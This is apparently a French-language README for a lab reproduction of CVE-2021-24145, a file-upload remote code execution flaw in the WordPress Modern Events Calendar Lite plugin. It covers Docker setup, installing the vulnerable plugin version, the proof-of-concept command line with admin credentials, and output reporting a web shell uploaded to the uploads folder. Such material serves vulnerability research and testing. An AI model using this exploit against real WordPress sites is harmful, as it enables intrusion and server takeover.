dnr6419/cve-2021-24145Vulnérabilité de téléchargement de fichiers WordPress, plugin Modern Events Calendar Lite pour WordPress avant la version 5.16.5
Vulnérabilité de téléchargement de fichier WordPress, plugin Modern Events Calendar Lite WordPress antérieur à 5.16.5 https://nvd.nist.gov/vuln/detail/CVE-2021-24145
Lors de l'installation, veuillez effectuer la redirection de port dans le fichier docker-compose.yml.
$ docker-compose up
Accédez à http://[web-server ip]:port/.
Procédez à l'installation de base.
Allez dans [Plugins] -> [Add New] -> [Upload Plugin].
Téléchargez et installez modern-events-calendar-lite.5.16.2.zip.
L'écran ci-dessous montre l'installation du plugin terminée.
Une fois l'installation terminée, activez le plugin.
python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]
$python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* Wordpress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
[+] Authentication successfull !
[+] Shell Uploaded to: http://172.30.1.48:80//wp-content/uploads/shell.php
